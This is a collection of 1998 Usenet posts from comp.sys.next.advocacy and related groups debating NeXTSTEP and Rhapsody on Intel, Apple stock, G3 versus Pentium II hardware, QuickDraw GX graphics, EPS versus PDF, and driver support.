Newsgroups: comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: 28 May 1998 04:14:32 GMT
Organization: Digital Fix Development
Message-ID: <6kiob8$87f$1@news.digifix.com>
References: <1998052720285000.QAA15315@ladder03.news.aol.com> <1998052803371400.XAA16013@ladder01.news.aol.com>
In-Reply-To: <1998052803371400.XAA16013@ladder01.news.aol.com>
On 05/27/98, WillAdams wrote:
>I'd like to specifically state something here--Steve Jobs is using
OpenStep on
>the PC laptops which it's been reported he's used.
>
>Which brings up an interesting circular debate--remember all that
money which
>Intel paid NeXT to port NS to Intel?
>
Where did this little tidbit come from? I've never heard this
before..
>Wouldn't it be nice if Intel demanded payback for that by requesting
>(requiring?) that Rhapsody for Intel be kept alive, or continued as
Rhapsody
>for Merced?
>
Merced... every time I hear that I'm just thinking, its such a
pipe dream at this point...
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
Date: Wed, 27 May 1998 23:49:00 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2705982349100001@dialin33415.slip.uci.edu>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com> <1d96usd.idlupin1ddc8N@sextans133.wco.com> <t6P71.4084$Fi2.1738179@news.rdc1.sdca.home.com> <355FC790.47AFED2F@trilithon.com> <rmcassid-1805981655100001@dante.eng.uci.edu> <CFm91.2270$Kx3.2422317@news.rdc1.sdca.home.com> <rmcassid-2305980036500001@dialin9223.slip.uci.edu> <hJw91.2319$Kx3.2686214@news.rdc1.sdca.home.com> <rmcassid-2505982341260001@dialin9062.slip.uci.edu> <1d9nm9q.kx1jmg19dyutwN@carina43.wco.com>
In article <1d9nm9q.kx1jmg19dyutwN@carina43.wco.com>, mpaque@wco.com (Mike
Paquette) wrote:
> Robert Cassidy <rmcassid@uci.edu> wrote:
>
> > I think we're going to have a good quarter. The numbers continue to look
> > strong. If we drop to $22, I think we'll come all the way back up into the
> > $30s before long. Earnings estimates are all way too low for this quarter.
> > Some are simply stupid (I think there is still someone predicting a loss
> > for Q3 and Q4, which is assinine). MW + earnings will be a big boost, so I
> > don't see $22 in July. It'll have to come in June.
>
> I'd agree. I think we're entering a short term correction in the
> overall market, with the DJIA about to drop 5% or so, and high techs
> doing the usual 20% (4x DOW) blip as folks start to freak out. If
> you've got some good picks, it might be time to do a bit of shopping
> soon.
>
> Yup, I'm a bottom feeding Fool....
Me too. But I wasn't expecting Apple to dip into the 25's today. That's
30+% off the recent high. It didn't hold, but I didn't think it would go
there anyway. Buying opportunity? Probably. But the SEC filing suggests
that the quarter might disappoint me a bit. It should still be good, but I
get the sense that Powerbook sales aren't up to speed yet and won't make a
huge contribution to sales. Hell, I haven't even ordered mine yet since
the individual education BTO site isn't up. I've got an order waiting
Apple Store dudes... get cracking!
I'm concerned that the DJ might drop to 8000 or so, about 12%-15% off its
high. Some of the tech stocks will take it in the shorts, though many of
them are at levels that I simply can't understand. What happens to a stock
when a correction occurs which is priced so far beyond what it deserves?
Beats me. Learning opportunity.
I don't like how brutally the tech stocks take missed earnings. 40% drops
in price or more. Should Apple miss the earnings those monkeys predict
anytime soon it'll get pounded into the negative numbers. But earnings
are dropping everywhere. Sooner or later I think everyone will clue in and
see that the big money just isn't rolling in anymore.
I'm thinking that the LCD market is looking pretty nice over the next 2
years. I wonder if anyone is strong and cheap over there... Anyway, it
seems that lately anything I predict regarding AAPL is unquestionably
wrong so just do the opposite of what I say and you'll retire a wealthy
man. :-)
-Bob Cassidy
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Message-ID: <1998052803371400.XAA16013@ladder01.news.aol.com>
Date: 28 May 1998 03:37:14 GMT
Organization: AOL http://www.aol.com
References: <1998052720285000.QAA15315@ladder03.news.aol.com>
I'd like to specifically state something here--Steve Jobs is using OpenStep on
the PC laptops which it's been reported he's used.
Which brings up an interesting circular debate--remember all that money which
Intel paid NeXT to port NS to Intel?
Wouldn't it be nice if Intel demanded payback for that by requesting
(requiring?) that Rhapsody for Intel be kept alive, or continued as Rhapsody
for Merced?
Just a thought.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 14:56:33 +1000
Organization: University of Queensland
Message-ID: <6kiqhr$22u$1@nargun.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
Ike Gilbert wrote in message ...
>In article <6kf6jk$mcf$1@newsfep2.sprintmail.com>, macghod@concentric.net
wrote:
>
>> I am looking to buy a computer. It MUST run the best operating system in
the
>> world.
>> So that narrows things down to a pentium or a g3 mac (or 604e mac). A
233 g3
>> is definitely fast enough for me, as is a p2 300. But a g3 233 costs
$1500
>> mail order, and this does not even have the tower case that the p2 has.
>> Plus, look what one can get for much less: A LOT MORE!!
>>
>> Pentium II 300Mhz System€
>>
>> Intel Pentium II processor,
>
>The PowerPC G3 has been proven to be consistantly faster than the PII.
Sure, but by the time you put it into a system your G3 processors costs
more.
>
>> M715€ motherboard,
>> 64Mb SDRAM,
>
>True, the G3 only comes with 32MB standard, but you can add more RAM for
>pretty cheap.
Unless you buy it from Apple.
>
>> L2 Pipelined Burst Cache, 512k,
>
>The G3 uses a 512k BACKSIDE cache, which I believe is faster than a L2
>pipelined burst cache.
Both the pII and the G3 use the same type of cache.
>
>> 4.3Gb IDE hard drive,
>
>The G3 comes with a 3 GB hard drive, so a loss of 1.3 GB storage.
His drive will be UDMA, whether or not the one is the Mac is is hard to
determine, sicne Apple doesn't say.
>
>> 4Mb AGP 3D graphics accelerator,
>
>The G3 comes uses the Rage pro graphics accelerator, which works in
>2D/3D. I'm not sure how they compare, but more than likely both cards
>give similar performance gains. I mean, this PC freebie is no VooDoo 2.
It's probably a Riva128 based card, so it's pretty good.
>> 32-speed CD-Rom drive with audio,
>
>The G3 comes with a 24 speed CD-ROM, and macs have always been able to
>play audio CD's from their internal/external CD drives. The PC CD-ROM is
>33% faster than the one which comes in the G3, but I wouldn't think that
>would cause a bottleneck in using software, especially since most
>developers plan for only a quad speed CD-ROM.
Any CDROM drive faster than 12X is pretty much useless, because of the
spin-up times.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 21:08:16 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2705982108160001@132.236.171.104>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <357293dc.4428018@news.supernews.com>
> dpetticord@hotmail.com, on Sun, 24 May 1998 16:49:07 GMT,
> [...]
> >Microsoft is allowed to do standard business practices even if it is
> >very anti-competitive. You may think the "Windows Experience" is a poor
> >excuse, but if it reaches the threshhold of a legitimate SECONDARY reason,
> >Microsoft wins.
From what I have seen, Microsoft does not necessarily win; instead the
situation becomes rather ambiguous as far as precedent is concerned. The
net effect of the behavior (anti or pro competitive) may be considered, or
the judge could rule either way.
If Microsoft establishes a legitimate primary reason, then I'd agree that
they win.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Wed, 27 May 1998 22:35:47 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com>
References: <6jng30$fg7$1@supernews.com> <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us> <B184D271-19B2D@206.165.43.16> <6jp3h2$1cc$89@ironhorse.plsys.co.uk> <B185C630-12EC4@206.165.43.37> <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3> <6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154>
Lawson English <english@primenet.com> wrote:
> I'd rather be able to edit 3D-perspectivized text (something that most
> people that ever do anything more than simple text-processing would like to
> be able to do in letters to friends, posters, etc) and if you truely need
> an invertable matrix, don't use the non-affine features of the 3x3.
QuickDraw 3D is a fully supported Carbon API, and supports the more
general 4x3 transform. I'd sugggest using that.
--
Mike Paquette mpaque@wco.com
"Struggling Apple Computer" and the "Struggling Apple" logo are
trade and service marks of Apple Computer, Inc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 27 May 1998 22:47:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1924891-1589E@206.165.43.70>
References: <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Mike Paquette <mpaque@wco.com> said:
>QuickDraw 3D is a fully supported Carbon API, and supports the more
>general 4x3 transform. I'd sugggest using that.
>
Which, the 4x3 transform or QuickDraw 3D?
AFAIK, no-one has implemented a GX-level DTP graphics API on top of
QuickDraw 3D...
Of course, the pre-NeXT Apple graphics engineers LIKED the idea of making
3D perspective available to people making text-editing/DTP applications.
Certainly, most people that write personal letters or create
posters/post-cards/fliers/etc., like the idea of a built-in API that allows
3D perspective to be applied to text and graphics.
Of course, since Apple only caters to the high-end of DTP users, who
already can afford Freehand, this point is moot. K-12, SOHO and home users'
graphics needs apparently are no longer relevant to Apple.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: portnoy@ai.mit.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 27 May 1998 16:16:02 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <ura1ffp19.fsf@ai.mit.edu>
References: <6kb49o$ele$2@geraldo.cc.utexas.edu> <1998052518581700.OAA09788@ladder01.news.aol.com> <6kc1mp$5tr$1@ns3.vrx.net> <ulnrpdopw.fsf@ai.mit.edu> <6kgn3s$nc0$6@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) writes:
> In <ulnrpdopw.fsf@ai.mit.edu> portnoy@ai.mit.edu claimed:
> > I do a great deal of work in graphic creation, often working with logo
> > design. A highly substantial part of this work is in creating and
> > manipulating EPS files.
>
> But isn't that a side effect of (as you note) "I already am very
> much in the NeXT world,". If you were in the Mac world, wouldn't
> this be different?
Possibly, but I tend to think it was the other way around -- I don't
use EPS because I'm on a NeXT; I use a NeXT largely because it makes
handling PS and EPS easy. Since I try to move the graphics among a
dozen different programs running on at least four different operating
systems, EPS was the best solution for me. NeXT enabled that
(although certainly the development environment helped push me in that
direction as well).
I was hacking PostScript long before I got a NeXT, believe me...
> > If EPS goes away, what am I left with?
>
> PDF.
Which, unfortunately, is impossible to tweak by hand (a highly useful
tool when porting to another platform), and, currently impossible to
embed in other documents. I'm not too optimistic that it will be
possible to do either by the time MacOS X rolls out. Sigh.
But, still, I'm hopeful that using the EPS benefits will be workable.
Perhaps half of what I want could be done using a simple image filter
-- read in EPS, interpret the code, handle the dictionaries and stack,
and render to an offscreen buffer into the EPDF format (or whatever it
gets called). That would get me EPS reading in most applications for
free, which is half of what I want. Then, if MacOS X can write EPDF
files directly, and most applications support that, it will hopefully
be easy to create an EPDF->EPS filter program which I can run to
create the more embeddable EPS format. I'd probably have to call that
filter by hand whenever I needed it, though...
All and all, though, I'm still leaning towards just running Rhap1.0
for half a decade...
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: gbythesea@aol.com
Newsgroups: comp.sys.next.advocacy
Subject: Buy an 040 Cube and get a FREE Turbo Color
Date: Thu, 28 May 1998 05:45:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6kitks$v8d$1@nnrp1.dejanews.com>
For more info:
http://members.aol.com/GbyTheSea/index.html
Greg Wilkerson
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Wed, 27 May 1998 23:22:33 -0700
Message-ID: <see-below-2705982322330001@209.24.241.137>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net> <6khtaq$ril$1@news.digifix.com> <rmcassid-2705981426480001@dante.eng.uci.edu> <6kilej$7a6$1@news.digifix.com>
In article <6kilej$7a6$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 05/27/98, Robert Cassidy wrote:
>
> >What about non-MacOS hardware developers? Right now there are *tons*
> of
> >PCI cards that I can't just shove in my G3 box because of a lack of
> >drivers. USB will only add to that.
I'm not sure why. How would that be worse than using a completely
different standard? At least this way there's a chance of some crossover
from PC vendors. I think there are way, way more graphics cards available
now for this reason. I'm sure there never would have been NuBus 3Dfx
cards, or Matrox, or Number Nine, or probably even ATI. Same thing's true
with fast SCSI controllers. Even though some don't work on Macs, I think
there are more than what there would be if we didn't have PCI.
> Well, most PCI cards won't "just work" anyways, even if the
> software drivers where there... The'd need new ROMs to deal with the
> low end correct?
I don't think that's a problem, but I don't remember the details. Perhaps
the PCI bus deals with this issue? The only issue besides software drivers
is proper ROM if you need functionality at startup (ie, before the
software driver could load). In some cases that could be OpenFirmware,
with the extended functions becoming available when the driver loads, but
not all PCI cards even support that. But if the card isn't needed at
startup (for instance a 3Dfx card), all you need is the software driver.
You can plug any old 3Dfx card into a Mac and it will work fine with the
drivers that ship with Quake or other games.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Thu, 28 May 1998 05:17:08 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356CF354.1C23099A@nstar.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
<6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com>
<6kgmc8$nc0$5@ns3.vrx.net> <356C618E.FE07AE3A@nstar.net> <6kh7u9$8d6$1@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 28 May 1998 05:22:02 GMT
Maury Markowitz wrote:
>
> In <356C618E.FE07AE3A@nstar.net> "Michael J. Peck" claimed:
> > Well, I'm quite sure it's had an effect on its popularity.
>
> Demonstrated how?
[sigh] Why do we have to be at odds on this? It's demonstrated very
simply, with one easy assumption.
Assume that nobody has switched to Linux *because* of its lack of
drivers. I imagine that's safe, so if I can produce one individual who
has *not* switched to Linux because of its lack of drivers, I can
demonstrate what I said above.
I do know, in fact, many people who will not use Linux because of its
lack of drivers. What's more, if popularity is more than just who uses
Linux (and includes how they use it and how often they use it) I can
cite many examples of how hardware has affected Linux's popularity. I'm
a prime example: I reboot to Windows every time I need to use my Kodak
Digital Science PhotoDoc scanner. There's no Linux driver. I personally
know several people who own parallel-port Iomega Ditto drivers who are
waiting to install Linux until there is a driver available. There
currently is not.
I see many messages to the linux-eepro100 mailing list from people that
go something like this: "My computer has an eepro100, I've installed the
driver but I get the TX timeout bug. I can't use Linux until this gets
resolved". I see many messages to comp.os.linux.x that go something like
this: "My computer came with [exotic video card] and I can't use X. I'm
tired of running in console mode, can anyone tell me how soon XFree86
will have a driver so I can start using Linux on a regular basis?"
Stand a little closer and maybe you'll see what I'm talking about,
Maury.
[cut]
> > I'm also quite sure that lack of cutting-edge drivers will affect the
> > target Rhapsody market much more dramatically than it affects the Linux
> > market.
>
> ?Why?
This is another easy one. The demographic that uses Linux can tolerate
lack of drivers more readily than the Rhapsody target market. This is
pretty apparent, whether you see that target market as high-end graphics
and publishing professionals, educational personnel, professional
software developers, database users, or general home users. Compared to
the Linux market, there is a very different set of needs in operation.
> > Linux would be growing even more quickly if it weren't for sloppy and
> > late driver support.
>
> Says you.
Huh? I have to wonder what authority Maury Markowitz appeals to when he
makes responses like this.
[cut]
> > Did you notice what happened when Be released BeOS beta 3 with piss-poor
> > driver support? Nobody switched.
>
> And does BeOS support X out of the box?
This wasn't on the list of complaints I saw.
> Nope. How about YB? EOF? WO?
Apart from you and me and the others who frequent this newsgroup, can
you name five personal non-work-related colleagues who can decipher
those acronyms? I can't.
> Nope, nope and nope. I believe that Be's "goodie features" are not strong
> enough for people to use until they get the "whole picture" out. THEN we'll
> see what happens.
Whatever. The point's already been made elsewhere, by different people,
that OpenStep had these "goodie features" and wasn't a smashing success.
I don't think they'll have anything to do with early adoption. Driver
support would.
MJP
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 28 May 1998 08:28:17 GMT
Organization: P & L Systems
Message-ID: <6kj771$3v3$1@ironhorse.plsys.co.uk>
References: <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70>
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In <B1924891-1589E@206.165.43.70> "Lawson English" wrote:
> Of course, the pre-NeXT Apple graphics engineers LIKED the idea of making
> 3D perspective available to people making text-editing/DTP applications.
> Certainly, most people that write personal letters or create
> posters/post-cards/fliers/etc., like the idea of a built-in API that allows
> 3D perspective to be applied to text and graphics.
>
No they didn't "like the idea of a built-in API that allows 3D perspective to
be applied to text and graphics", they liked the idea of "being able to apply
3D perspective to text and graphics". End users generally don't care a hoot
for how its implemented.
> Of course, since Apple only caters to the high-end of DTP users, who
> already can afford Freehand, this point is moot. K-12, SOHO and home users'
> graphics needs apparently are no longer relevant to Apple.
>
OK, so you've clearly now identified a market niche into which you could sell
a product. So why don't you go away and write it.
mmalc.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Wed, 27 May 1998 23:17:39 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2705982317400001@dialin33411.slip.uci.edu>
References: <1998052720285000.QAA15315@ladder03.news.aol.com> <1998052803371400.XAA16013@ladder01.news.aol.com> <6kiob8$87f$1@news.digifix.com>
In article <6kiob8$87f$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> Merced... every time I hear that I'm just thinking, its such a
> pipe dream at this point...
InfoWeek I think had an article about IBM planning an AIX port for Merced
in case Merced really took off. In the same time article they mention a
600MHz 64bit PPC offering by the beginning of next year. They indicate
they'll be at 1GHz by 2000. Exactly where is Merced going to significantly
overshadow PPC in this timeframe given that its introduction is due
anytime between the end of this year and the end of next year?
Wouldn't PPC be of considerable interest to the workstation and server
community given that they need to recode anyway for Merced and PPC is
proven technology? It seems as though AIM is throwing in the towel before
the opponent has even stepped into the ring. Am I missing something or
does Merced seem more and more like MMX the more you look at it?
-Bob Cassidy
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Why Microsoft has won
Date: 28 May 1998 09:35:16 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6kjb4k$888$1@news.cs.tu-berlin.de>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC
<EtLv7K.3HH@AWT.NL>
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G.C.Th.Wierda@AWT.nl (Gerben Wierda) writes:
>"Todd Heberlein" <todd@NetSQ.com> wrote:
>Though I agree with most of what you said. Some final remarks need some
>comments, I think.
>>With enough time and resources, Microsoft's products will improve
>>(e.g., Office 98 for the Mac).
>The improvement has been scarce and far between. Where is the functionality
>that Lotus Improv offered 8 years ago (!) in Excel today (please no reactions
>by people who do know Excel and don't know Improv)? And how come our
>not-so-stupid systems administrator is running around all day, trying to
>repair stuff like "Windows 95 suddenly removed the HD entry form the BIOS"
>etc.?
Well, I have some anecdotal evidence that their code is out of control,
meaning that there are certain areas where they cannot make improvements.
Meaning that they tried and failed.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 28 May 1998 02:20:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1927A7F-2C857@206.165.43.156>
References: <6kj771$3v3$1@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <B1924891-1589E@206.165.43.70> "Lawson English" wrote:
>
>> Of course, the pre-NeXT Apple graphics engineers LIKED the idea of
making
>> 3D perspective available to people making text-editing/DTP applications.
>> Certainly, most people that write personal letters or create
>> posters/post-cards/fliers/etc., like the idea of a built-in API that
allows
>> 3D perspective to be applied to text and graphics.
>>
>No they didn't "like the idea of a built-in API that allows 3D perspective
to
>be applied to text and graphics", they liked the idea of "being able to
apply
>3D perspective to text and graphics". End users generally don't care a
hoot
>for how its implemented.
>
Nope. I said it better. With GX, you can create a text-shape and start
editing it. As you edit it, you can apply a 3D perspective to that text and
continue editing it. If you don't design the text-engine from the ground up
to handle 3D, it will likely prove quite difficult to add in text-selection
later if a 3D perspective has been applied independently of the
text-editing API. With GX, the text-editing API "knows" about the 3D API
and automatically compensates for it with no extra code required for the
simplest case and only minimal extra code required for even the most
complex case of nested viewports with concatenated transform matrices.
>> Of course, since Apple only caters to the high-end of DTP users, who
>> already can afford Freehand, this point is moot. K-12, SOHO and home
>users'
>> graphics needs apparently are no longer relevant to Apple.
>>
>OK, so you've clearly now identified a market niche into which you could
>sell
>a product. So why don't you go away and write it.
>
Why should I? Apple already did. It's called GX. It works quite well on all
color Macintoshes that Apple has ever made, as long as they have enough RAM
installed to handle the library. It's simple enough to be called from
within an interpreted language like HyperTalk. It's powerful enough to
implement some of the most "advanced" features of applications like
FreeHand.
For instance, FreeHand provides "lens fills," including transparency and
scaling. This is such trivial thing to do with GX that it's amazing that it
only appears in higher-end DTP packages.
To apply a transparency lens-like thingie in GX, you would take an
arbitrary shape [including bitmap and text] and make a picture shape with
two references to the original shape (the original shape, you make
invisible). The two references each have an overriding transform. The clip
of one transform reveals the shape of the lens. The clip of the other
excludes the shape of the lense. One copy of the shape has an overriding
ink that retains the original color and transfer modes. The other copy has
an overriding ink that uses a transparency mode or some other non-opaque
mode.
Ta-da. Transparent lens.
Interestingly enough, apparently Freehand doesn't handle transparent lenses
for bitmaps. My solution with GX would. While it's probably true that not
all of Freehand's lens fills can be applied using the standard GX API, most
of the ones that I've seen discussed in reviews could be.
And, the discussion of how Freehand saves images reveals just how piss-poor
the EPS model is for doing this kind of thing. While GX certainly might use
extra RAM to handle the above "lens" application, the saved version would
only consist of the original shape, plus the overriding transform and ink
objects, which would be only a few hundred extra bytes at most.
Freehand apparently makes multiple copies of each shape when it saves a
"lensed" image to an EPS file, thereby bloating things by quite a bit over
what GX would produce when saving the same image to its own flattened
format.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: 28 May 1998 09:41:01 GMT
Organization: Idiom Communications
Message-ID: <6kjbfd$d08$1@news.idiom.com>
References: <1998052720285000.QAA15315@ladder03.news.aol.com> <1998052803371400.XAA16013@ladder01.news.aol.com>
<6kiob8$87f$1@news.digifix.com>
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Cc: sanguish@digifix.com
Scott Anguish may or may not have said:
-> On 05/27/98, WillAdams wrote:
-> >I'd like to specifically state something here--Steve Jobs is using
-> OpenStep on
-> >the PC laptops which it's been reported he's used.
-> >
-> >Which brings up an interesting circular debate--remember all that
-> money which
-> >Intel paid NeXT to port NS to Intel?
-> >
->
-> Where did this little tidbit come from? I've never heard this
-> before..
I'm not sure where I heard it first, but it's been confirmed by two of the
developers who did the intel port.
-> >Wouldn't it be nice if Intel demanded payback for that by requesting
-> >(requiring?) that Rhapsody for Intel be kept alive, or continued as
-> Rhapsody
-> >for Merced?
The contract called for NeXTSTEP on Intel, and it was delivered. I haven't
heard of any obligation on NeXT's part to continue to develop all future
versions for Intel.
-jcr
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 28 May 1998 09:52:01 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6kjc41$8od$1@news.cs.tu-berlin.de>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com> <6kb2si$ele$1@geraldo.cc.utexas.edu> <see-below-2505980150360001@209.24.240.99> <1d9ldn2.wey5o41nx46nwN@carina25.wco.com> <6kg9pc$h5j$1@geraldo.cc.utexas.edu> <6khio0$dr2$1@news.spacelab.net> <see-below-2705981600240001@209.24.240.199>
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see-below@not-my-address.com (Matthew Vaughan) writes:
>In article <6khio0$dr2$1@news.spacelab.net>, "Charles W. Swiger"
><chuck@codefab.com> wrote:
>> kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
>> >Mike Paquette (mpaque@wco.com) wrote:
>> >: The Digital Signal Processor was not used for display graphics, 2D or 3D
>> >: rendering, or to accelerate Display PostScript. The overhead of moving
>> >: data to and from the 56001 DSP memory would swamp any possible
>> >: performance gain for almost all graphics work.
>> >
>> >TeeHee. Just check out old versions of the Mandlebrot.app (that use the
>> >DSP) vs. the newest version (that use the CPU). The DSP is *much* faster
>> >than the CPU.
>>
>> Absolutely. But the engine of Mandelbrot was a simply-expressed calculation
>> that was iterated hundreds to thousands of times for every pixel, so the calc
>> time was much higher than the communications overhead.
>>
>> Nice demo, but not very typical of what a display system usually does.
>Also, while the DSP may have been much faster than a 68k CPU, would it
>really be that much faster than PPC?
Nope. IIRC, it was running at 10Mhz and could a 24x24 bit integer
multiply-add in a single cycle. 300 MHz G3 blows it out of the
water easily. Another point about the DSP, though, is that it
was single-tasking w/o VM, so it could be relied on to handle
real time tasks.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: "John Saunders" <jws@jws.ultranet.com>
